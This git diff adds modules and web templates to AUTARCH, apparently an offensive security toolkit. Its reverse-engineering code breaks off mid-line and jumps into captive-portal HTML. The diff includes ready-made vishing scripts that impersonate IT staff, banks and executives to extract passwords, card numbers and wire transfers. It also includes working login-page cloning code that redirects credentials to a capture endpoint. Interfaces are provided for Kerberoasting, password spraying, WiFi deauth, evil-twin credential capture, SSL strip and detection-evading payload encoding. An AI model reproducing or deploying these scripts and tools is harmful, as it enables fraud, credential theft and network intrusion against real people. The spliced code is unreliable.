+ 0xaa64: 'ARM64 (AArch64)',
+ 0x5032: 'RISC-V 32-bit',
+ 0x5064: 'RISC-V 64-bit',
+}
+
+PE_SECTION_FLAGS = {
+ 0x00000020: 'CODE',
+ 0x00000040: 'INITIALIZED_DATA',
+ 0x00000080: 'UNINITIALIZED_DATA',
+ 0x02000000: 'DISCARDABLE',
+ 0x04000000: 'NOT_CACHED',
+ 0x08000000: 'NOT_PAGED',
+ 0x10000000: 'SHARED',
+ 0x20000000: 'EXECUTE',
+ 0x40000000: 'READ',
+ 0x80000000: 'WRITE',
+}
+
+
+# ── ELF Constants ────────────────────────────────────────────────────────────
+
+ELF_MACHINE_TYPES = {
+ 0: 'None',
+ 2: 'SPARC',
+ 3: 'x86',
+ 8: 'MIPS',
+ 20: 'PowerPC',
+ 21: 'PowerPC64',
+ 40: 'ARM',
+ 43: 'SPARC V9',
+ 50: 'IA-64',
+ 62: 'x86-64',
+ 183: 'AArch64 (ARM64)',
+ 243: 'RISC-V',
+ 247: 'eBPF',
+}
+
+ELF_TYPES = {0: 'NONE', 1: 'REL', 2: 'EXEC', 3: 'DYN', 4: 'CORE'}
+
+ELF_OSABI = {
+ 0: 'UNIX System V', 1: 'HP-UX', 2: 'NetBSD', 3: 'Linux',
+ 6: 'Solaris', 7: 'AIX', 8: 'IRIX', 9: 'FreeBSD', 12: 'OpenBSD',
+}
+
+ELF_SH_TYPES = {
+ 0: 'NULL', 1: 'PROGBITS', 2: 'SYMTAB', 3: 'STRTAB', 4: 'RELA',
+ 5: 'HASH', 6: 'DYNAMIC', 7: 'NOTE', 8: 'NOBITS', 9: 'REL',
+ 11: 'DYNSYM',
+}
+
+ELF_PT_TYPES = {
+ 0: 'NULL', 1: 'LOAD', 2: 'DYNAMIC', 3: 'INTERP', 4: 'NOTE',
+ 5: 'SHLIB', 6: 'PHDR', 7: 'TLS',
+ 0x6474e550: 'GNU_EH_FRAME', 0x6474e551: 'GNU_STACK',
+ 0x6474e552: 'GNU_RELRO', 0x6474e553: 'GNU_PROPERTY',
+}
+
+
+# ── ReverseEngineer Class ────────────────────────────────────────────────────
+
+class ReverseEngineer:
+ """Comprehensive binary analysis and reverse engineering toolkit."""
+
+ _instance = None
+
+ def __init__(self):
+ data_dir = get_data_dir() if callable(get_data_dir) else get_data_dir
+ self.storage_dir = Path(str(data_dir)) / 'reverse_eng'
+ self.yara_rules_dir = self.storage_dir / 'yara_rules'
+ self.cache_dir = self.storage_dir / 'cache'
+ self.storage_dir.mkdir(parents=True, exist_ok=True)
+ self.yara_rules_dir.mkdir(parents=True, exist_ok=True)
+ self.cache_dir.mkdir(parents=True, exist_ok=True)
+ self._analysis_cache: Dict[str, Any] = {}
+
+ # ── File Type Detection ──────────────────────────────────────────────
+
+ def get_file_type(self, file_path: str) -> Dict[str, str]:
+ """Identify file type from magic bytes."""
+ p = Path(file_path)
+ if not p.exists() or not p.is_file():
+ return {'type': 'unknown', 'error': 'File not found'}
+
+ try:
+ with open(p, 'rb') as f:
+ header = f.read(16)
+ except Exception as e:
+ return {'type': 'unknown', 'error': str(e)}
+
+ if len(header) < 2:
+ return {'type': 'empty', 'description': 'File too small'}
+
+ # Check magic bytes, longest match first
+ for magic, file_type in sorted(MAGIC_BYTES.items(), key=lambda x: -len(x[0])):
+ if header[:len(magic)] == magic:
+ return {'type': file_type, 'magic_hex': magic.hex()}
+
+ # Heuristic: check if text file
+ try:
+ with open(p, 'rb') as f:
+ sample = f.read(8192)
+ text_chars = set(range(7, 14)) | set(range(32, 127)) | {0}
+ non_text = sum(1 for b in sample if b not in text_chars)
+ if non_text / max(len(sample), 1) < 0.05:
+ return {'type': 'Text', 'description': 'ASCII/UTF-8 text file'}
+ except Exception:
+ pass
+
+ return {'type': 'unknown', 'magic_hex': header[:8].hex()}
+
+ # ── Entropy Calculation ──────────────────────────────────────────────
+
+ def calculate_entropy(self, data: bytes) -> float:
+ """Calculate Shannon entropy of byte data. Returns 0.0 to 8.0."""
+ if not data:
+ return 0.0
+ freq = [0] * 256
+ for b in data:
+ freq[b] += 1
+ length = len(data)
+ entropy = 0.0
+ for count in freq:
+ if count > 0:
+ p = count / length
+ entropy -= p * math.log2(p)
+ return round(entropy, 4)
+
+ def section_entropy(self, file_path: str) -> List[Dict[str, Any]]:
+ """Calculate entropy per section for PE/ELF binaries."""
+ ft = self.get_file_type(file_path)
+ file_type = ft.get('type', '')
+
+ results = []
+ if file_type == 'PE':
+ pe_info = self.parse_pe(file_path)
+ if 'error' not in pe_info:
+ with open(file_path, 'rb') as f:
+ for sec in pe_info.get('sections', []):
+ offset = sec.get('raw_offset', 0)
+ size = sec.get('raw_size', 0)
+ if size > 0 and offset > 0:
+ f.seek(offset)
+ data = f.read(size)
+ ent = self.calculate_entropy(data)
+ results.append({
+ 'name': sec.get('name', ''),
+ 'offset': offset,
+ 'size': size,
+ 'entropy': ent,
+ 'packed': ent > 7.0,
+ })
+ elif file_type == 'ELF':
+ elf_info = self.parse_elf(file_path)
+ if 'error' not in elf_info:
+ with open(file_path, 'rb') as f:
+ for sec in elf_info.get('sections', []):
+ offset = sec.get('offset', 0)
+ size = sec.get('size', 0)
+ if size > 0 and offset > 0:
+ f.seek(offset)
+ data = f.read(size)
+ ent = self.calculate_entropy(data)
+ results.append({
+ 'name': sec.get('name', ''),
+ 'offset': offset,
+ 'size': size,
+ 'entropy': ent,
+ 'packed': ent > 7.0,
+ })
+ return results
+
+ # ── Comprehensive Binary Analysis ────────────────────────────────────
+
+ def analyze_binary(self, file_path: str) -> Dict[str, Any]:
+ """Comprehensive binary analysis: type, hashes, entropy, strings, architecture."""
+ p = Path(file_path)
+ if not p.exists() or not p.is_file():
+ return {'error': f'File not found: {file_path}'}
+
+ stat = p.stat()
+
+ # Read file data
+ try:
+ with open(p, 'rb') as f:
+ data = f.read()
+ except Exception as e:
+ return {'error': f'Cannot read file: {e}'}
+
+ # File type
+ file_type = self.get_file_type(file_path)
+
+ # Hashes
+ hashes = {
+ 'md5': hashlib.md5(data).hexdigest(),
+ 'sha1': hashlib.sha1(data).hexdigest(),
+ 'sha256': hashlib.sha256(data).hexdigest(),
+ }
+
+ # Overall entropy
+ overall_entropy = self.calculate_entropy(data)
+
+ # Section entropy
+ sec_entropy = self.section_entropy(file_path)
+
+ # Architecture detection
+ arch = 'unknown'
+ ftype = file_type.get('type', '')
+ if ftype == 'PE':
+ pe = self.parse_pe(file_path)
+ arch = pe.get('machine_str', 'unknown')
+ elif ftype == 'ELF':
+ elf = self.parse_elf(file_path)
+ arch = elf.get('machine_str', 'unknown')
+
+ # Extract strings (limited to first 1MB for speed)
+ sample = data[:1024 * 1024]
+ strings = self._extract_strings_from_data(sample, min_length=4)
+
+ # Packer detection
+ packer = self.detect_packer(file_path)
+
+ result = {
+ 'file': str(p.absolute()),
+ 'name': p.name,
+ 'size': stat.st_size,
+ 'size_human': self._human_size(stat.st_size),
+ 'modified': datetime.fromtimestamp(stat.st_mtime).isoformat(),
+ 'created': datetime.fromtimestamp(stat.st_ctime).isoformat(),
+ 'file_type': file_type,
+ 'architecture': arch,
+ 'hashes': hashes,
+ 'entropy': overall_entropy,
+ 'entropy_level': 'high' if overall_entropy > 7.0 else ('medium' if overall_entropy > 6.0 else 'low'),
+ 'section_entropy': sec_entropy,
+ 'strings_count': len(strings),
+ 'strings_preview': strings[:100],
+ 'packer': packer,
+ }
+
+ # Add imports/exports if applicable
+ if ftype == 'PE':
+ result['imports'] = self.get_imports(file_path)
+ result['exports'] = self.get_exports(file_path)
+ elif ftype == 'ELF':
+ result['imports'] = self.get_imports(file_path)
+ result['exports'] = self.get_exports(file_path)
+
+ # Cache result
+ self._analysis_cache[file_path] = result
+ return result
+
+ # ── PE Parsing ───────────────────────────────────────────────────────
+
+ def parse_pe(self, file_path: str) -> Dict[str, Any]:
+ """Parse PE (Portable Executable) headers using struct.unpack."""
+ p = Path(file_path)
+ if not p.exists():
+ return {'error': 'File not found'}
+
+ try:
+ with open(p, 'rb') as f:
+ data = f.read()
+ except Exception as e:
+ return {'error': str(e)}
+
+ if len(data) < 64 or data[:2] != b'\x4d\x5a':
+ return {'error': 'Not a valid PE file (missing MZ header)'}
+
+ # DOS Header
+ e_lfanew = struct.unpack_from('✅
+Connected Successfully
+You are now connected to the internet. You may close this page and begin browsing.
+Loading document...
\n' + 'If the download does not start automatically, click here.
\n' + '\n' + '\n' + ), + }, +} + + +# ── Vishing Scripts ────────────────────────────────────────────────────────── + +VISHING_SCRIPTS = { + 'it_helpdesk': { + 'name': 'IT Help Desk Call', + 'description': 'Impersonate IT support to extract credentials or install remote access', + 'opening': ( + 'Hello, this is {caller_name} from the IT Help Desk. ' + 'We are seeing some unusual activity on your network account and I need ' + 'to verify a few things with you to make sure your account is secure.' + ), + 'key_questions': [ + 'Can you confirm your full name and employee ID for verification?', + 'What department are you in?', + 'Are you currently logged in to your workstation?', + 'Have you noticed any unusual behavior — slow performance, unexpected pop-ups?', + 'I am going to need to push a security update to your machine. Can you open a browser and go to {url}?', + ], + 'credential_extraction': ( + 'I need to verify your account is not compromised. Can you enter your ' + 'username and current password on the verification page I just sent you? ' + 'This is a secure IT portal — your credentials are encrypted.' + ), + 'objection_handling': { + 'why_calling': 'Our monitoring system flagged your account. We are reaching out to all affected users proactively.', + 'how_verify_you': 'You can call back on the main IT line at {phone} and ask for {caller_name} in Security Operations.', + 'not_comfortable': 'I completely understand. Let me have my supervisor {supervisor_name} call you back within 10 minutes.', + 'will_call_back': 'Of course. Please call the Help Desk at {phone} before 5 PM today, as we need to resolve this within our response window.', + }, + 'closing': 'Thank you for your cooperation. I have updated your account status. If you notice anything unusual, call us at {phone}.', + }, + 'bank_fraud': { + 'name': 'Bank Fraud Alert', + 'description': 'Impersonate bank fraud department to extract account details', + 'opening': ( + 'Hello, this is {caller_name} from the {bank_name} Fraud Prevention Department. ' + 'We are calling because we have detected a suspicious transaction on your account ' + 'and we need to verify some information before we can proceed with blocking it.' + ), + 'key_questions': [ + 'For verification, can you confirm the last four digits of your account number?', + 'What is the billing address associated with this account?', + 'Did you authorize a transaction of ${amount} to {merchant} on {date}?', + 'I need to verify your identity. Can you provide your date of birth?', + ], + 'credential_extraction': ( + 'To block the fraudulent transaction and secure your account, I will need to ' + 'verify your full card number and the security code on the back. This is to ' + 'confirm you are the authorized account holder.' + ), + 'objection_handling': { + 'why_calling': 'Our automated fraud detection system flagged a ${amount} charge that does not match your normal spending pattern.', + 'how_verify_you': 'You can call the number on the back of your card and ask to be transferred to the fraud department.', + 'not_comfortable': 'I understand your concern. For your protection, I can place a temporary hold on the card while you verify through the bank app.', + 'will_call_back': 'Absolutely. Please call the number on the back of your card within the hour. Reference case number {case_num}.', + }, + 'closing': 'I have placed a temporary hold on the suspicious transaction. You will receive a confirmation text shortly. Is there anything else I can help with?', + }, + 'vendor_support': { + 'name': 'Vendor Technical Support', + 'description': 'Impersonate software vendor support for remote access installation', + 'opening': ( + 'Hi, this is {caller_name} with {vendor_name} Support. We noticed that your ' + 'organization\'s {product_name} license is showing some configuration errors ' + 'that could lead to data loss. I\'d like to help resolve this quickly.' + ), + 'key_questions': [ + 'Who is the primary administrator for your {product_name} installation?', + 'What version are you currently running?', + 'Are you able to access the admin console right now?', + 'I may need to connect remotely to diagnose the issue. Do you have remote access software available?', + ], + 'credential_extraction': ( + 'To apply the fix, I will need your admin credentials for {product_name}. ' + 'Alternatively, you can grant me temporary admin access through the portal at {url}.' + ), + 'objection_handling': { + 'why_calling': 'Our monitoring detected your instance is running a configuration that was flagged in security bulletin {bulletin_id}.', + 'how_verify_you': 'You can verify this call by contacting {vendor_name} support at {phone} and referencing ticket {ticket_id}.', + 'not_comfortable': 'No problem. I can send you detailed instructions via email and you can perform the fix yourself.', + 'will_call_back': 'Sure. The support ticket is {ticket_id}. Please call us back within 24 hours before the issue escalates.', + }, + 'closing': 'The configuration has been updated. You should see the fix reflected within the next hour. If any issues arise, reference ticket {ticket_id}.', + }, + 'ceo_urgent': { + 'name': 'CEO Urgent Request', + 'description': 'Impersonate executive for urgent financial action', + 'opening': ( + 'Hi {target_name}, this is {exec_name}. I know this is short notice, ' + 'but I need your help with something urgent and confidential. I am tied up ' + 'in a board meeting and cannot handle this myself right now.' + ), + 'key_questions': [ + 'Are you at your desk right now?', + 'Can you access the accounts payable system?', + 'Have you processed international wire transfers before?', + ], + 'credential_extraction': ( + 'I need you to process a wire transfer for a time-sensitive acquisition. ' + 'The details are in a secure document I will email you. Please use your ' + 'credentials to authorize the transfer immediately.' + ), + 'objection_handling': { + 'why_calling': 'This is related to a confidential acquisition. I cannot discuss details over email for legal reasons.', + 'need_approval': 'I\'ve already approved this with the CFO. You can verify with {cfo_name} after the transfer — but we need to move now.', + 'not_comfortable': 'I understand, but this cannot wait. I\'ll take full responsibility. Just process it and I\'ll sign the authorization form when I\'m out of this meeting.', + 'unusual_request': 'I know this is irregular. That\'s why I\'m calling you personally instead of sending an email.', + }, + 'closing': 'Thank you for handling this so quickly. I really appreciate it. I will follow up with the paperwork once I am out of this meeting.', + }, +} + + +# ── Social Engineering Toolkit Class ───────────────────────────────────────── + +class SocialEngToolkit: + """Social engineering toolkit — page cloning, pretexts, QR codes, USB payloads.""" + + def __init__(self): + self._data_dir = Path(get_data_dir()) / 'social_eng' + self._pages_dir = self._data_dir / 'pages' + self._captures_path = self._data_dir / 'captures.json' + self._campaigns_path = self._data_dir / 'campaigns.json' + self._qr_dir = self._data_dir / 'qr' + + # Ensure directories + self._pages_dir.mkdir(parents=True, exist_ok=True) + self._qr_dir.mkdir(parents=True, exist_ok=True) + + # Load persistent state + self._captures = self._load_json(self._captures_path, []) + self._campaigns = self._load_json(self._campaigns_path, []) + + # ── Persistence helpers ────────────────────────────────────────────────── + + @staticmethod + def _load_json(path: Path, default=None): + try: + if path.exists(): + with open(path, 'r', encoding='utf-8') as f: + return json.load(f) + except (json.JSONDecodeError, OSError): + pass + return default if default is not None else {} + + def _save_captures(self): + with open(self._captures_path, 'w', encoding='utf-8') as f: + json.dump(self._captures, f, indent=2, default=str) + + def _save_campaigns(self): + with open(self._campaigns_path, 'w', encoding='utf-8') as f: + json.dump(self._campaigns, f, indent=2, default=str) + + # ── Page Cloning ───────────────────────────────────────────────────────── + + def clone_page(self, url: str, output_dir: str = None) -> Dict[str, Any]: + """Fetch a login page, rewrite form actions to AUTARCH capture endpoint. + + Returns dict with ok, page_id, path, and file details. + """ + if not REQUESTS_AVAILABLE: + return {'ok': False, 'error': 'requests library not installed'} + + try: + parsed = urlparse(url) + if not parsed.scheme: + url = 'https://' + url + parsed = urlparse(url) + + resp = requests.get(url, timeout=15, headers={ + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) ' + 'AppleWebKit/537.36 (KHTML, like Gecko) ' + 'Chrome/120.0.0.0 Safari/537.36' + }, verify=False) + resp.raise_for_status() + + page_id = hashlib.md5(url.encode()).hexdigest()[:12] + page_dir = Path(output_dir) if output_dir else self._pages_dir / page_id + page_dir.mkdir(parents=True, exist_ok=True) + + html = resp.text + base_url = f"{parsed.scheme}://{parsed.netloc}" + + # Rewrite relative URLs for resources + html = re.sub( + r'(src|href)=(["\'])(?!/|https?://)', + lambda m: f'{m.group(1)}={m.group(2)}{base_url}/', + html + ) + + # Rewrite form actions to point to AUTARCH capture endpoint + html = re.sub( + r'Authentication Successful
+You will be redirected shortly...
+
+
+
+Active Directory Audit
++ LDAP enumeration, Kerberoasting, AS-REP roasting, ACL analysis, BloodHound collection, and password spray. +
+
+
+
+
+
+
+
+Connection + Disconnected +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Enumeration
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Kerberoast
++ Request TGS tickets for accounts with SPNs and extract hashes in hashcat format. +
+
+
+
+
+
+
+
+
+
+
+AS-REP Roast
++ Find accounts that do not require Kerberos pre-authentication and extract AS-REP hashes. +
+
+
+
+
+
+
+
+
+
+
+
+
+
+Password Spray
++ Spray a single password against a list of users. Includes delay/jitter to reduce lockout risk. +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ACL Analysis
++ Identify dangerous permissions: GenericAll, WriteDACL, WriteOwner, DCSync rights, and more. +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+{% endblock %}
diff --git a/web/templates/base.html b/web/templates/base.html
index ad373b7..f4f8146 100644
--- a/web/templates/base.html
+++ b/web/templates/base.html
@@ -42,15 +42,25 @@
+
+
+
+
+BloodHound Collection
++ Collect users, groups, computers, sessions, and ACLs for BloodHound import. + Uses bloodhound-python if available, otherwise falls back to manual LDAP collection. +
+
+
+
+
+
+
diff --git a/web/templates/container_sec.html b/web/templates/container_sec.html
new file mode 100644
index 0000000..03f249c
--- /dev/null
+++ b/web/templates/container_sec.html
@@ -0,0 +1,676 @@
+{% extends "base.html" %}
+{% block title %}AUTARCH — Container Security{% endblock %}
+
+{% block content %}
+`).
+
+---
+
+*AUTARCH v2.3 — By darkHal Security Group and Setec Security Labs*
+*For authorized security testing and research only. Always obtain written permission before testing systems you do not own.*
+
+
+
+Container Security
++ Docker auditing, Kubernetes assessment, container image scanning, escape detection, and Dockerfile linting. +
+
+ Docker: checking...
+ kubectl: checking...
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Docker Host Audit
+
+
+
+ | Check | Severity | Status | Detail |
|---|---|---|---|
| Click "Audit Docker Host" to check daemon configuration and security. | |||
+
+
+
+
+
+
+
+
+
+
+Containers
+
+
+
+ | Name | Image | Status | Ports | Actions |
|---|---|---|---|---|
| Click "Refresh Containers" to list Docker containers. | ||||
+
+
+
+
+
+
+
+
+
+
+Kubernetes Cluster
+
+
+
+
+
+
+
+
+
+
+
+
+
+Pods
+
+
+
+ | Name | Status | Containers | Node | Restarts | Actions |
|---|---|---|---|---|---|
| Select a namespace and click "List Pods". | |||||
+
+
+
+
+
+Cluster Security Checks
+
+
+
+
+ RBAC Audit
+Check for overly permissive bindings and wildcard permissions
+ + +
+
+ Secrets Check
+Find exposed and unencrypted secrets in the namespace
+ + +
+
+ Network Policies
+Verify NetworkPolicies exist and find unprotected pods
+ + +
+
+
+
+
+
+
+
+
+
+
+
+
+Image Vulnerability Scan
++ Scan container images for known CVEs using Trivy or Grype. +
+
+
+
+
+
+
+
+
+
+ | Severity | CVE | Package | Installed | Fixed |
|---|---|---|---|---|
| Enter an image name and click "Scan Image" to find vulnerabilities. | ||||
+
+
+
+
+
+Local Images
+
+
+
+ | Repository | Tag | Size | Created | Actions |
|---|---|---|---|---|
| Click "Refresh Images" to list local Docker images. | ||||
+
+
+
+
+Dockerfile Lint
++ Paste Dockerfile content below to check for security issues. +
+ +
+
+
+
+ | Rule | Severity | Line | Issue | Detail |
|---|---|---|---|---|
| Paste a Dockerfile and click "Lint Dockerfile" to check for issues. | ||||
+
+
+
+
+
+{% endblock %}
diff --git a/web/templates/deauth.html b/web/templates/deauth.html
new file mode 100644
index 0000000..4dee2ff
--- /dev/null
+++ b/web/templates/deauth.html
@@ -0,0 +1,687 @@
+{% extends "base.html" %}
+{% block title %}Deauth Attack - AUTARCH{% endblock %}
+
+{% block content %}
+
+
+
+
+
+
+
+
+
+ ← Offense
+Deauth Attack
++ WiFi deauthentication — targeted & broadcast attacks, continuous mode, channel hopping. +
+
+
+
+
+
+
+
+
+
+
+Wireless Interfaces
+
+
+
+
+
+
+
+
+
+ | Interface | Mode | Channel | MAC |
|---|---|---|---|
| Click Refresh to list wireless interfaces. | |||
+
+
+
+
+
+
+
+Scan Networks
+
+
+
+
+
+
+
+ | SSID | BSSID | Channel | +Encryption | Signal | Clients | + |
|---|---|---|---|---|---|---|
| No networks scanned yet. | ||||||
+
+
+
+
+
+
+
+
+
+
+Selected Target
+| AP BSSID | — |
| AP SSID | — |
| Client MAC | Broadcast (FF:FF:FF:FF:FF:FF) |
+
+
+Single Burst Attack
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Continuous Mode
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Multi-Target Attack
++ Add multiple AP/client pairs and launch deauth against all simultaneously. +
+| AP BSSID | Client MAC | |
|---|---|---|
| No targets added. Select targets from the Targets tab. | ||
+
+
+
+
+
+
+
+
+
+
+
+
+{% endblock %}
diff --git a/web/templates/email_sec.html b/web/templates/email_sec.html
new file mode 100644
index 0000000..4cf7f11
--- /dev/null
+++ b/web/templates/email_sec.html
@@ -0,0 +1,753 @@
+{% extends "base.html" %}
+{% block title %}AUTARCH — Email Security{% endblock %}
+
+{% block content %}
+
+
+
+Channel Control
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Attack History
+
+
+
+
+
+
+
+
+
+| Time | Target AP | Client | +Mode | Frames | Duration | +
|---|---|---|---|---|---|
| Click Refresh to load attack history. | |||||
+
+
+
+
+
+
+Email Security
++ DMARC, SPF, DKIM analysis, email header forensics, phishing detection, and mailbox inspection. +
+
+
+
+
+
+
+
+
+
+
+
+
+Domain Email Security Check
+
+
+
+
+
+
+
+
+
+
+
+
+Blacklist Check
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+| Blacklist | Status | Details |
|---|---|---|
| Enter an IP or domain above. | ||
+
+
+
+
+
+
+
+
+
+
+
+Email Header Analysis
+
+
+
+
+
+
+
+
+
+
+
+
+
+Phishing Detection
+
+
+
+
+
+
+
+
+
+
+Abuse Report Generator
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+{% endblock %}
diff --git a/web/templates/exploit_dev.html b/web/templates/exploit_dev.html
new file mode 100644
index 0000000..d8b5d32
--- /dev/null
+++ b/web/templates/exploit_dev.html
@@ -0,0 +1,688 @@
+{% extends "base.html" %}
+{% block title %}AUTARCH — Exploit Dev{% endblock %}
+
+{% block content %}
+
+
+
+Mailbox Connection
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Search
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Results
+ +
+
+
+
+| Date | From | Subject | Size | Actions |
|---|---|---|---|---|
| Connect and search to see results. | ||||
+
+
+
+
+
+
+Exploit Development
++ Shellcode generation, payload encoding, ROP chain building, cyclic patterns, and assembly. +
+
+
+
+
+
+
+
+
+Shellcode Generator
++ Generate architecture-specific shellcode from built-in templates. Supports host/port patching. +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ No shellcode generated yet.+
+
+
+
+
+
+
+
+Payload Encoder
++ Encode shellcode to evade signature detection. Supports XOR, AES-256, alphanumeric, and polymorphic encoding. +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ROP Gadget Finder
++ Scan ELF/PE binaries for ROP gadgets. Uses ropper, ROPgadget, or objdump as backend. +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+| Address | Gadget | Type | Add |
|---|---|---|---|
| Run gadget search to see results. | |||
+
+
+ROP Chain Builder
++ Build a ROP chain by adding gadgets from the table above or manually specifying addresses. +
+
+
+
+
+ | # | Address | Gadget | Value | Rm |
|---|---|---|---|---|
| Add gadgets from the results above. | ||||
+
+
+
+
+
+
+
+
+
+
+{% endblock %}
diff --git a/web/templates/incident_resp.html b/web/templates/incident_resp.html
new file mode 100644
index 0000000..3095152
--- /dev/null
+++ b/web/templates/incident_resp.html
@@ -0,0 +1,800 @@
+{% extends "base.html" %}
+{% block title %}Incident Response - AUTARCH{% endblock %}
+
+{% block content %}
+
+
+
+Cyclic Pattern Generator
++ Generate De Bruijn / cyclic patterns for buffer overflow offset discovery (like pattern_create). +
+
+
+
+
+
+
+
+
+
+
+ No pattern generated yet.+
+
+
+Pattern Offset Finder
++ Find the exact offset of a value within a cyclic pattern (like pattern_offset). + Accepts hex (0x41326241), integer, or raw string. +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Format String Exploitation
++ Generate format string test payloads for offset discovery and write-what-where attacks. +
+
+
+
+
+
+
+
+
+
+
+
+ Write-What-Where
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Assembly / Disassembly
++ Assemble NASM code to machine bytes or disassemble hex bytes to assembly instructions. +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ ← Defense
+Incident Response
++ IR playbooks, evidence collection, IOC sweeping, and post-incident reporting. +
+
+
+
+
+
+
+
+
+
+
+Create Incident
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Incidents
+
+
+
+
+
+
+
+
+| ID | Name | Type | Severity | Status | Created | Actions | +
|---|
+
+
+
+
+
+Evidence Collection
+ + +
+
+
+
+
+
+
+
+
+
+
+
+
+IOC Sweep
+ + +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+{% endblock %}
diff --git a/web/templates/mitm_proxy.html b/web/templates/mitm_proxy.html
new file mode 100644
index 0000000..d1f9618
--- /dev/null
+++ b/web/templates/mitm_proxy.html
@@ -0,0 +1,625 @@
+{% extends "base.html" %}
+{% block title %}MITM Proxy - AUTARCH{% endblock %}
+
+{% block content %}
+
+
+Incident Timeline
+ + +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ ← Offense
+MITM Proxy
++ HTTP/HTTPS interception proxy with traffic analysis, rule engine, and secret detection. +
+
+
+
+
+
+
+
+
+
+
+
+
+
+Proxy Status
+| State | -- |
| Listen Address | -- |
| Engine | -- |
| Request Count | 0 |
| SSL Strip | OFF |
| Upstream Proxy | None |
+
+
+
+
+
+
+
+
+Configuration
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+CA Certificate
++ Generate and install a CA certificate for HTTPS interception. + The client must trust this certificate to avoid browser warnings. +
+
+
+
+
+
+
+
+Installation Instructions
+
+ Windows: Double-click the .pem file → Install Certificate →
+ Local Machine → Trusted Root Certification Authorities.
+ macOS: Double-click the .pem → Add to System keychain → + Trust → Always Trust.
+ Linux: Copy to
+ Firefox: Settings → Privacy & Security → Certificates → + View Certificates → Import.
+ Chrome: Settings → Privacy → Security → Manage certificates → + Authorities → Import.
+ Android: Settings → Security → Encryption → + Install from storage → select .pem file.
+ iOS: AirDrop or email the .pem → Install Profile → + Settings → General → About → Certificate Trust Settings → Enable. +
+ + macOS: Double-click the .pem → Add to System keychain → + Trust → Always Trust.
+ Linux: Copy to
/usr/local/share/ca-certificates/ and run
+ sudo update-ca-certificates.+ Firefox: Settings → Privacy & Security → Certificates → + View Certificates → Import.
+ Chrome: Settings → Privacy → Security → Manage certificates → + Authorities → Import.
+ Android: Settings → Security → Encryption → + Install from storage → select .pem file.
+ iOS: AirDrop or email the .pem → Install Profile → + Settings → General → About → Certificate Trust Settings → Enable. +
+
+
+
+
+
+
+
+
+
+Add Rule
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Active Rules
+
+
+
+
+
+ | ID | +URL Pattern | +Method | +Action | +Status | +Actions | +
|---|---|---|---|---|---|
| No rules configured. Add a rule above. | |||||
+
+
+
+
+
+
+
+
+
+{% endblock %}
diff --git a/web/templates/pineapple.html b/web/templates/pineapple.html
new file mode 100644
index 0000000..0cc9d83
--- /dev/null
+++ b/web/templates/pineapple.html
@@ -0,0 +1,719 @@
+{% extends "base.html" %}
+{% block title %}AUTARCH — WiFi Pineapple{% endblock %}
+
+{% block content %}
+
+
+
+
+
+
+Traffic Log
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ --
+ + +
+
+
+
+
+| ID | +Time | +Method | +URL | +Status | +Size | +Duration | +Sec | +
|---|---|---|---|---|---|---|---|
| No traffic captured. Start the proxy and route traffic through it. | |||||||
+
+
+
+
+
+
+
+
+
+WiFi Pineapple / Rogue AP
++ Evil twin, captive portal, karma attack, DNS spoofing, and credential capture. +
+
+
+
+
+
+
+
+
+Access Point Configuration
++ Configure and launch a rogue access point using hostapd and dnsmasq. +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Evil Twin Attack
++ Clone a target AP's SSID and channel. Optionally deauthenticates clients from the real AP. +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Karma Attack
++ Respond to all client probe requests, impersonating any SSID they seek. + Requires hostapd-mana or airbase-ng. +
+
+
+ Karma Disabled
+
+
+
+
+
+
+
+
+
+
+Captive Portal
++ Redirect all HTTP/HTTPS traffic from connected clients to a fake login page. +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Captured Credentials
+
+
+
+ | Time | +Username / Email | +Password | +IP | +User-Agent | +
|---|---|---|---|---|
| No captured credentials yet. | ||||
+
+
+
+
+
+
+
+
+
+
+Connected Clients
+
+
+
+ 0 clients
+
+ | MAC Address | +IP Address | +Hostname | +OS | +First Seen | +Data Usage | +Actions | +
|---|---|---|---|---|---|---|
